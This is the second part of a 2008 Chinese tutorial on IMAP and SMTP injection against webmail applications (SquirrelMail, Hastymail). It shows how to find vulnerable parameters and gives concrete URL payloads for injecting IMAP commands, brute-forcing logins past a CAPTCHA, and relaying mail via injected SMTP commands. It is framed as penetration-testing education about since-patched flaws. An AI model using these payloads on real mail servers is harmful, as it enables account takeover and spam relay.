如何利用注射技术攻击邮件服务器(2)
来源:51CTO 发布时间:2008-08-12 11:29:00
四、邮件服务器注射的优势
对于邮件函数的注射之前人们就讨论过,但说得最多的还是PHP的mail()函数中的CRLF注射。然而,这些文章直到现在仅对某些部位进行注射,如email头部注射等。这种类型的注射允许一个人进行各种的操作(发送匿名电子邮件、垃圾邮件/转发等等)。实际上,使用邮件服务器注射技术也能达到这些目的,因为它们都是基于同种类型的弱点。与之相比,邮件服务器注射技术的过人之处是能向受影响的邮件服务器注射所有命令,而没有任何限制。就是说,这种利用技术不仅允许对电子邮件头部进行注入(“From :”、“Subject :”、“To :”等),而且还可以向跟webmail应用程序通信的邮件服务器(IMAP/SMTP)注入任意的命令。
邮件服务器注射远胜过对webmail应用程序提供的功能的“简单”滥用,例如发送大量电子邮件等。这种技术允许人们执行webmail应用程序提供的常规动作之外的额外的动作,如通过IMAP命令引起邮件服务器的缓冲区溢出等。对于渗透测试人员来说,注入任意的命令是他们梦寐以求的,因为这在某些情况下可以完全控制邮件服务器,以便对其各种弱点进行测试。
五、发动攻击
下面我们用实例来解释不同类型的邮件服务器攻击方法,以及邮件服务器注射技术示例。这样的实例曾发生在SquirrelMail(1.2.7和1.4.5版本)和Hastymail(1.0.2和1.5版本)这两种Webmail应用程序上。因为SquirrelMail团队已经废止了SquirrelMail的1.2.7版本,而推荐的最低版本为1.4.6,因为之前的版本都有弱点。Hastymail在1.5之前的所有版本都容易受到SMTP和IMAP注射的影响,所以要经常检查最新的补丁。SquirrelMail和Hastymail团队在收到这些问题的通知后,都迅速进行了修正。不久之后,Nessus发布了一个检查这种弱点的插件。
实施攻击时,必须经过以下两个步骤:
确定出一个有弱点的参数;
了解它的作用范围。
(一)发现有弱点的参数
识别有弱点的参数的方法可以采用其他类型注射所采用的方法:试探法。也就是说,要发送具有异常值(应用程序的非预期值)的请求给原始IMAP和SMTP命令所用到的每个可疑参数,然后分析其行为,从而找出可以利用的参数。下面举例说明。
当用户要访问SquirrelMail中的收件箱(INBOX)时,所用的请求如下所示:
http: //src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX
如果用户用下列方式修改参数“mailbox”的值:
http:///src/right_main.php?PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22
那么应用程序就会返回一个如下所示的错误信息:
ERROR : Bad or malformed request.
Query: SELECT "INBOX""
Server responded: Unexpected extra arguments to Select
显然,这不是该应用程序所期望的正常行为。此外,该消息显示IMAP命令“SELECT”正在被执行。利用这个方法,我们可以推断出参数“mailbox”具有邮件服务器注射漏洞,准确来说是容易受到IMAP注射的攻击。在其他情况下,有弱点的参数的检测和利用没有这么明显。例如,当用户访问它们的Hastymail收件箱时,相应的请求如下所示:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX
如果用户用下列方式修改参数“mailbox”的值:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=INBOX"
应用程序将回应下列消息:
Could not access the following folders:
INBOX\"
To check for outside changes to the folder list go to the folders page
在此种情况下,添加引号并没有改变应用程序的行为。结果跟用户已经注入其他任何字符时一样:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST
那么应用程序就会返回同样的错误信息:
Could not access the following folders:
NOTEXIST
To check for outside changes to the folder list go to the folders page
如果用户试图注射其它的IMAP命令:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST
"%0d%0aA0003%20CREATE%20"INBOX.test
那么应用程序就会又返回一个错误信息:
Unable to perform the requested action
Hastymail said:: A0003 SELECT "INBOX"
And the IMAP server said::
A0003 NO Invalid mailbox name.
乍一看,好像是IMAP注射无法进行。然而,通过使用引号的一种变化形式,我们能够达到目的。下一个例子使用引号的双字符编码形式即%2522,来替换上面的单字符形式:
http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST%2522%0d%0aA0003%20CREATE%20%2522INBOX.test
在此种情况下,应用程序不仅不会返回任何错误信息,而且还会在收件箱创建文件夹“test”。其它的滥用情形:
◆给参数一个空值,例如“mailbox= ”。
◆用不存在的邮箱的名称来替换某些值,例如“mailbox=NotExists”。
◆给参数添加其它的值,例如“mailbox=INBOX PARAMETER2”
◆添加其它的非标准字符,例如\, ?, @, #, !, |, \n。
◆添加CRLF序列,例如“mailbox=INBOX%0d%0a”。
(二)作用域
一旦检测到了有弱点的参数(IMAP或者SMTP命令),必须了解它的作用范围。换句话说,我们需要了解要攻击的命令,以便提供适当的参数来注入我们的IMAP/SMTP命令。
为能够成功使用邮件服务器注射技术,先前的命令必须用CRLF(“%0d%0a”)结束。通过这种方式,该序列用于隔离命令。如果用户能注入一个命令并看到了返回的(由邮件服务器产生的)错误信息,那么他们必须进一步了解完成的操作的作用域,这可能像查看他们的内容那么简单。下面举例说明。
当用户读取在SquirrelMail中的电子邮件时,将发出下列请求:
http:///src/read_body.php?mailbox=INBOX&passed_id=1&startMessage=1
&show_more=0
如果用户用下列方式修改参数“passed_id”的值:
http:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1&show_more=0
那么应用程序就会返回一个如下所示的错误信息:
ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by server.
用户可以在这里发现如下事实:执行的IMAP命令是“FETCH”,以及它使用的各个参数。现在,我们已经找到了有弱点的参数并知道了正在被执行命令,所以用户已经具有足够的信息来注入额外的命令了:
http:///src/read_body.php?mailbox=INBOX&passed_id=1
BODY [HEADER]%0d%0aZ900 RENAME INBOX ENTRADA%0d%0aZ910 FETCH 1&startMessaGe=1&show_more=0
这个请求将在服务器上执行以下IMAP命令:
FETCH 1 BODY[HEADER] Z900 RENAME INBOX ENTRADA Z910 FETCH 1 BODY[1]
如果用户不能查看错误信息(即处于“盲注射”情形),那么有关该操作的信息将摘自用户请求的操作类型。例如,如果注射通过称为“password”的认证表单的参数来完成的,那么要执行的IMAP命令将是:
AUTH LOGIN
如果注射是通过请求的参数“mailbox”来发动的话,那么IMAP命令的执行情况如下所示:
LIST ""
(三)信息泄漏
采用的技术:IMAP注射
用户认证要求:无
利用IMAP注射可以获得利用其它方法无法获取的IMAP服务器方面的信息。如果用户能将命令“CAPABILITY”注入到参数“mailbox”之中:
http:///src/read_body.php?mailbox=INBOX%22%0d%0aZ900 CAPABILITY%0d%0aZ910 SELECT "INBOX&passed_id=1&startMessage=1&show_more=0
CAPABILITY命令的响应显示了一列服务器支持的功能名称,这些名称由逗号进行间隔。下面我们看一个例子:
* CAPABILITY IMAP4 IMAP4rev1 UIDPLUS IDLE LOGIN-REFERRALS NAMESPACE QUOTA CHILDREN
Z900 OK capabilities listed
* CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ * IC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE LISTEXT LIST-SUBSCRIBED ANNOTATEMORE X-NETSCAPE
Z900 OK Completed
* CAPABILITY IMAP4rev1 STARTTLS AUTH=GSSAPI XPIG-LATIN
Z900 OK Completed
利用该命令,用户可以探测服务器支持的不同认证方式(响应“AUTH=”),禁止的登录命令(LOGINDISABLED),添加的支持扩展和IMAP协议的修正等。
由于CAPABILITY命令无需认证就可以执行,所以在发现一个参数具有IMAP注射漏洞的情况下,总能执行该命令。
(四)绕过CAPTCHA
采用的技术:IMAP注射
用户认证要求:无
利用CAPTCHA查找Web应用非常流行,目标很明显:防止对某些特定的进程实施自动化的攻击。例如,用户注册表单中的CAPTCHA用来阻止一个robot记录用户帐户,或者防止自动进行用户调查或者口令破解。如果IMAP服务器的验证机制带有IMAP注射漏洞,那么存心不良的用户就可以通过利用CAPTCHA来突破该限制。
首先,假设认证表单中的“password”字段可以注入IMAP命令。如果攻击者想要刺探一个登录名为“victim”、口令为“pwdok”用户的口令,他们可以利用一个字典进行枚举的方法,通过不断发送请求来达到目的。
然后,再假定口令字典有下列词语组成:pwderror1、pwderror2、pwdok和pwderror。这种情况下,用户可以注入以下命令来实施进攻:
http:///src/login.jsp?login=victim&password=%0d%0aZ900 LOGIN victim pwderror1%0d%0aZ910 LOGIN victim pwderror2%0d%0aZ920 LOGIN victim pwdok%0d%0aZ930 LOGIN victim pwderror3
它将导致在IMAP服务器(C:客户端的请求,S:服务器的响应)上运行以下命令:
C: Z900 LOGIN victim pwderror1
S: Z900 NO Login failed: authentication failure
C: Z910 LOGIN victim pwderror2
S: Z910 NO Login failed: authentication failure
C: Z920 LOGIN victim pwdok
S: Z920 OK User logged in
C: Z930 LOGIN victim pwderror3
S: Z930 BAD Already logged in
所以,如果受害者的口令正好位于所用字典中的话,当最后一次命令注射结束时,攻击者将会发现他们已经通过认证了。现在,他们已经可以注入和执行只有登录并经过认证的用户才能注入和执行的命令了。
(五)转发
采用的技术:SMTP注射
用户认证要求:有
用户经过webmail应用程序认证后,就能够编辑并发送电子邮件了。假如参数“subject”具有SMTP注射攻击漏洞。在这种情况下,就能够导致邮件服务器的转发攻击,例如以下命令将引起来自外部地址的电子邮件被发送到另外一个外部地址:
POST http:///compose.php HTTP/1.1
...
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="subject"
Relay Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
Relay test
.
-----------------------------134475172700422922879687252
...
这会导致向服务器发送以下SMTP命令序列:
MAIL FROM:
RCPT TO:
DATA
Subject: Relay Example
.
MAIL FROM: external@domain1.com
RCPT TO: external@domain2.com
DATA
Relay test
.
...
猜你喜欢
- 我是2000年参加工作的,第一年在宁波一所大学当老师,当时工资可能只有2K不到,由于我上大学时也经常给别人兼职打工,平均下来也能赚个每个月2
- 本人不才,但愿说一下广大站长的心声!备案这个事,很久以前就有了。只不过之前没有今年这么严格。今年是不备案不让接入。先来讨论一下备案究竟是做什
- PHPWind v7.3.2查看好友最新帖子sql错误解决方法:打开mode/o/m_article.php查找:$where .
- 大多数站长建站都是使用诸如动易、新云、dede等这样的cms,从而使得各种网站如雨后春笋。本人长期是使用新云cms,最近在使用中碰到了几个问
- 写这篇文章的时候,我忽然感觉自己有点自负,我的网站才起步,基本没任何访问量,我也刚刚从心理上把个人建站作为我的一份职业,可以说在这方面我连初
- Joomla! 是基于php+mysql 模式的快速建站系统,是一款开源的CMS 全站系统。借助joomla 可以迅速搭建起 * 站。当你为
- 据国外媒体报道,激进主义投资者卡尔·伊坎(CarlIcahn)周五宣布,他已经从雅虎董事会辞职。伊坎在一份声明中称:“雅虎此时已经不再需要一
- 在上次写完《史上最牛GOOGLE收录单页面时间记录:60秒》之后对WordPress的优化更有感触,于是这里总结下WordPress创建CM
- 在本系列的第一节中,讲了提高网站性能中网站“内容”有关的10条原则。除了在网站在内容上的改进外,在网站服务器端上也有需要注意和改
- 在这个被Ajax技术统治的互联网时代,很多Ajax程序都会在异步读取数据的同时,显示一个正在读取或Loading的动画。今天彬Go要向大家推
- 什么是网页快照所谓网页快照,原理是搜索引擎每收录一张网页,就会先把网页进行抓取,并且把网页内容复制并存储起来。搜索引擎并对快照进行分类整理排
- 美国书商Barnes &Noble在美国推出一款电子阅读器Nook,与亚马逊的Kindle和索尼的阅读器展开竞争。与Kindle相同
- 这些方法中,有些是众所周知的,你也可能了解的。但有些方法不为人熟知,还有些是大家知道但很少用上的。本文将让你了解更多或记起一些这种能更快更准
- V5shop网络联盟系统:网商应突破平台壁垒 盈利为王最近,一些具有忧患意识的独立网商经常通过邮件或QQ向笔者咨询,归纳一下,问题基本集中在
- 自己也是菜鸟一个(文中若有错误之处欢迎各位大虾们指出)但还是希望能将我自己的一些作站经历写出来,为广大菜鸟朋友们做一些参考。试验目的:在只有
- 综述本文将讨论UNIX平台下,Apache WEB服务器安装和配置的安全问题。我们假定阅读本文的系统管理员已经针对自己站点的情况选择了相关的
- 1,文章页的tag的调用解决办法V5.3TAG的调用方式为:TAG:{dede:field.tags/} 这个在内容页模板中使用全局标签{d
- 摘要:这篇文章主要针对初学编程和初建网站的爱好者提供一个个人观点,希望大家不要盲信现在诸多的所谓流行技术。近来,有很多网友问我的深度学习(a
- 问题:生成静态都设置好了,权限也给足了,可是仍然提示“当前没有生成任务在执行!”,这是什么原因呢?解决:检查下configCreateHtm
- (4)Userinfo%Name-用户登录名%IP-用户IP地址%Dir-用户当前目录%Disk-用户当前磁盘驱动器%DFree-用户当前剩